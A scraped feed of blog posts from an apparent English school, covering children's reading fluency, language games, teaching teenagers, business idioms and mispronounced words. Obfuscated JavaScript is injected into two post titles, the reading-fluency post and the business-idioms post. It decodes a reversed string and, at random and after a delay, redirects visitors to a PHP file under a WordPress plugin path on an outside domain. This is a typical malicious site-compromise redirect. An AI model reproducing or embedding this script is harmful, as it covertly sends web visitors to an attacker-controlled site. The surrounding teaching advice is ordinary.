Learning English – Beyond Fluent

7 steps $NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to helping a child be a more fluent reader

Jane O'Hagan — Fri, 27 Mar 2020 17:37:49 +0000

7 steps to helping a child be a more fluent reader

1. Find some quiet time and space

In a busy home, finding the right environment can be difficult, but the results are worth it. Try to use the same spot every day, a corner of your child’s room for example with cushions on the floor is very cosy. Even try getting up 10 minutes earlier in the morning, it can become a very special time. I choose the book the night before with my child and we leave the book in our “reading nook” so we are both connected to the activity.

2. Choose the right reading material

Children are experimenting all the time with books. They are opening themselves up to topics and subjects that they may really enjoy. It is important to provide a variety of reading material covering different topics.

3. Start with a conversation

What is the book about? What does the title and the pictures suggest? These prompts help children to read with purpose.

4. Choose a variety of reading methods

There are many styles of reading.

- - Paired reading, when a teacher or parent reads with a child to model good reading and to support the child’s own efforts.
  - Assisted reading, when you read a part of the text and let the child take over so you’re sharing the primary reader role.
  - Chorus reading, Parent and child read together out loud. This is a great way to help a child with tone and expressions.
  - Echo reading, This is really effective for children experiencing difficulties with fluency. Firstly, you read the sentence, then you and the child read the sentence together and then the child reads alone. A great way of modelling and scaffolding together!

5. Maximise on your high-frequency words

These are words that occur again and again in reading building vocabulary. Pay particular attention to these words and reinforce them with your child as they come up.

6. Teach your child to enunciate

Model expression and varied tones in your reading. This can be great fun if your really exaggerate, use accents and hand gestures.

7. End with discussion and PRAISE

Even if progress has been slow, talk to your child about the meaning of what they’ve read and make a date for the next session!

The post 7 steps to helping a child be a more fluent reader appeared first on Beyond Fluent.

Fun Learning for Kids

Jane O'Hagan — Fri, 27 Mar 2020 17:24:48 +0000

Fun Learning for Kids

Isn’t it fascinating that young children are adept at picking up native accents. My beautiful three year old neighbour, with Italian and French parents speaks Italian with sing-song, high pitched production, French with a deep, serious tone and English, her third language with a Irish undertone. It is mesmerizing for me to watch her switch from language to language, accent to accent unconsciously.

This is evidence that challenges the idea that learning a second or third language at the same time causes cognitive confusion for young children. The cognitive development of a child from the ages of 4 to 10 years allows them to naturally navigate multilingual environments, opening a world of opportunities later on.

The key at an early age is to make the process fun and fresh with as much involvement from them as possible.

Fun activities to help children develop their language skills:

Word games for vocabulary, grammar and confidence building

I find this to be the most beneficial form of teaching to expand your children’s vocabulary. It can be as simple as leaving specific toys in a bathroom or various rooms at home and then sending children to find them or upgrade the game to a treasure hunt taking the activity out to the garden. Baking with them, all the time talking and repeating the actions of what you are doing. Games like Scrabble, Pictionary or a round of Charades also encourage vocabulary development and communication skills.

Tongue twisters for pronunciation

Children of all ages love Tongue twisters, they really are an excellent and fun way to teach children correct pronunciation and enunciation of words. It is a fun way to train their tongue to pronounce words. Start with simple ones and work your way up. There are many free tongue twister apps out there. Get started today! I find these great fun in the car!

Storytelling for creative learning

While storybooks provide great entertainment and interaction, take it to the next level. Create your own story. Have fun choosing the characters, broaden their imagination with fantastical stories and let their creativity grow as you make up stories about anything and everything around them. Create their own little books with their characters and stories, imagine how proud children would be to produce their own books to family and read their stories to them!

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Supercharging teen learning

Jane O'Hagan — Fri, 27 Mar 2020 17:12:21 +0000

Supercharging teen learning

Every year we meet hundreds of teenagers, coming to our school to learn English and it struck me a few years ago that where the students are genuinely excited about coming to Ireland, they are not necessarily as excited about the prospect of their lessons. I took that as a personal challenge.

We provide a programme that engages and gets the attention of our young audience who have become my favourite age group to teach after working with adults for many years. There is no end to the potential in a group of young people but the success of the lesson relies on hitting the right note from the first moment!

Building rapport with teenagers is essential for success. A genuine interest from teacher in them and their lives will really improve in class-relations so we choose our tutors carefully! As a teenager, the last thing you want is to be spoken to as a child. You want to be respected and listened to.

Some of our successful techniques include:

Showing interest

It might sound very simple but we take the time to get to know our students and their interests and use them in our planning. Whether it is playing an instrument, a budding artist, a creative mind, a wannabe pop-star/actor or sports person, we get that passion out of them and use it to showcase the individual talent.

Choice and design

We offer our students a choice of activities. At the beginning of the week, teachers and students decide collaboratively what we are going to cover and the reward that will be provided when the work is done! We listen to their preferred type of in-class activities and let the student help to design their syllabus. The results are fantastic!

The element of surprise

Predictability will lose the attention of a teen audience and show our young minds that we are not interested in what they want. Our teachers invent original and unexpected tasks to shake up a class. By changing the order, environment, activity and approach, we see great outcomes.

Challenge – Do not play safe all the time

Most teens are very competitive and will get involved in almost any task if there is a competition element involved. Keeping track of points and setting up a prize system works wonders! Personalising tasks increases motivation and promotes creativity.

The post Supercharging teen learning appeared first on Beyond Fluent.

5 Business Idioms you need $NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to know

Jane O'Hagan — Fri, 27 Mar 2020 16:38:19 +0000

5 Business Idioms you need to know

Like all idioms, Business English idioms just don’t make any sense. So, in order to survive and thrive in business meetings you will have to be familiar with these five common business idioms.

Back to the drawing board : This commonly used phrase means to have start something again because it failed or isn’t performing as well as expected. Example: The prototype for the new car isn’t meeting the required efficiency levels, better get back to the drawing board.

Think outside the box: This one means to come up with creative ideas that are unconventional and approach a problem from new perspectives. Example: SpaceX had to think outside the box in order to radically reduce the cost of space flight. Their solution was reusable rockets.

The bottom line: The bottom line literally means the net profit or loss of a company and more broadly speaking the most fundamental consideration in a given situation. Example 1: The new tax rates are going to have a positive affect on our bottom line. Example 2: We need to hire more staff in order to meet demand and that’s the bottom line.

Corner the market: A company has cornered the market when it owns enough quantity of a product or service to control the market. Example: Netflix has cornered the market in online streaming.

From the ground up: From the ground up means building a company from scratch, starting from the very beginning. Example: Bill gates built Microsoft from the ground up.

Get down to business: Get down to business means to start talking about the matter at hand, to start a meeting. Example: ‘’I see that everyone is here so let’s get down to business’’

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A few English words a lot of people mispronounce

Jane O'Hagan — Fri, 27 Mar 2020 15:47:35 +0000

A few English words a lot of people mispronounce

English is a funny old language. Descended from a group of 5th century Germanic dialects spoken by the Angles, Saxons and Jutes, heavily influenced by Norse and crammed full with loan words from French and Latin.

Modern English is a mongrel that has inherited a legacy of silent letters, vowel shifts, strange spellings and grammatical structures. In other words, it’s hard. Often there is a distant relationship between how a word is spelt and how it is pronounced.

In today’s blog we take a look at some words that are commonly mispronounced by new and native speakers.

1. Comptroller

A comptroller is a person in charge of the financial accounts of a company. While it would be reasonable to assume it is pronounced as it is spelled it should actually be pronounced the same as ‘’controller’’. The confusion comes from an archaic spelling based on the French word ‘’compte’’, meaning account.

2. Colleague

This is another tricky spelling, it looks like it has three syllables but is pronounced with two syllables, (koh-leeg), make sure you don’t add the ‘ue’ sound at the end.

3. Library and February

The double ‘r’ sounds in quick succession are the problem in these two tongue twisters and many people end up leaving out the first ‘r’ sound. Concentrate on pronouncing the first ‘r’ sound to fix the problem, (Feb-roo-ary) and (Li-bra-ri).

4. Receipt

Everybody gets this one wrong, (Ri-ceet) is the correct pronunciation not (Re-ceept)

5. Debt

This is an important one for anyone in business or economics. Like the ‘p’ in receipt the ‘b’ in debt is silent, the correct pronunciation is (Det).

6. Pronunciation

Ironically, the word ‘pronunciation’ is commonly mispronounced. The confusion here lies with the verb form ‘pronounce’ leading many to pronounce the noun as ‘pronounciation’. Remember it’s (Pro-nuhn-see-ey-shun) and your pronunciation of ‘pronunciation’ will be perfect.

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